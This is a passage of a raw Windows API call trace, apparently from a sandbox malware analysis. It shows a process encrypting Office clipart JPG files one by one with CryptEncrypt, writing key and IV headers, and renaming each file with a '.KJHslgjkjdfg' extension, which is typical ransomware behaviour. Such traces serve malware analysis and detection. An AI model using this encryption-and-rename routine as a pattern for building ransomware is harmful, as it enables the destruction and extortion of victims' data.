lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0213.729] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.729] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.729] GetProcessHeap () returned 0x2ef0000 [0213.729] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.729] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.729] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.729] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.729] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.729] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.729] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.729] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.729] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.730] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.730] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15a7f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15a7f, lpOverlapped=0x0) returned 1 [0213.733] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15a80, dwBufLen=0x15a80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15a80) returned 1 [0213.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.734] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15a80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15a80, lpOverlapped=0x0) returned 1 [0213.734] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.734] SetEndOfFile (hFile=0x130) returned 1 [0213.738] GetProcessHeap () returned 0x2ef0000 [0213.738] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.738] GetProcessHeap () returned 0x2ef0000 [0213.738] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.kjhslgjkjdfg")) returned 1 [0213.740] CloseHandle (hObject=0x130) returned 1 [0213.740] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1 [0213.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.741] GetProcessHeap () returned 0x2ef0000 [0213.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.741] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.741] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0213.750] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.750] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.750] GetProcessHeap () returned 0x2ef0000 [0213.750] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.750] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.750] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.750] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.750] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.750] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.750] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.751] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.751] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.751] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.751] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15fef, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15fef, lpOverlapped=0x0) returned 1 [0213.753] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15ff0, dwBufLen=0x15ff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15ff0) returned 1 [0213.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.754] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15ff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15ff0, lpOverlapped=0x0) returned 1 [0213.755] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x160c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.755] SetEndOfFile (hFile=0x130) returned 1 [0213.759] GetProcessHeap () returned 0x2ef0000 [0213.759] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.759] GetProcessHeap () returned 0x2ef0000 [0213.759] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.kjhslgjkjdfg")) returned 1 [0213.761] CloseHandle (hObject=0x130) returned 1 [0213.761] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1 [0213.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.763] GetProcessHeap () returned 0x2ef0000 [0213.763] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.763] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.763] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0213.766] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.766] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.766] GetProcessHeap () returned 0x2ef0000 [0213.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.766] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.766] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.766] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.766] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.766] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.767] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.767] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.767] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.767] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a9ed, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a9ed, lpOverlapped=0x0) returned 1 [0213.769] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a9f0, dwBufLen=0x1a9f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a9f0) returned 1 [0213.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a9f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a9f0, lpOverlapped=0x0) returned 1 [0213.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1aac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.771] SetEndOfFile (hFile=0x130) returned 1 [0213.782] GetProcessHeap () returned 0x2ef0000 [0213.782] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.783] GetProcessHeap () returned 0x2ef0000 [0213.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.kjhslgjkjdfg")) returned 1 [0213.784] CloseHandle (hObject=0x130) returned 1 [0213.785] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1 [0213.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.786] GetProcessHeap () returned 0x2ef0000 [0213.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.786] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.786] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0213.794] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.794] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.794] GetProcessHeap () returned 0x2ef0000 [0213.794] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.794] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.794] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.795] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.795] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.795] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.795] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.795] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.795] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.795] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x193e7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x193e7, lpOverlapped=0x0) returned 1 [0213.798] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x193f0, dwBufLen=0x193f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x193f0) returned 1 [0213.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.799] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x193f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x193f0, lpOverlapped=0x0) returned 1 [0213.799] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x194c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.800] SetEndOfFile (hFile=0x130) returned 1 [0213.803] GetProcessHeap () returned 0x2ef0000 [0213.803] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.803] GetProcessHeap () returned 0x2ef0000 [0213.803] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.kjhslgjkjdfg")) returned 1 [0213.804] CloseHandle (hObject=0x130) returned 1 [0213.804] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1 [0213.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.806] GetProcessHeap () returned 0x2ef0000 [0213.806] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.806] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.806] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0213.809] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.809] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.809] GetProcessHeap () returned 0x2ef0000 [0213.809] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.809] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.809] CryptDestroyKey (hKey=0x2f182c8) returned 1 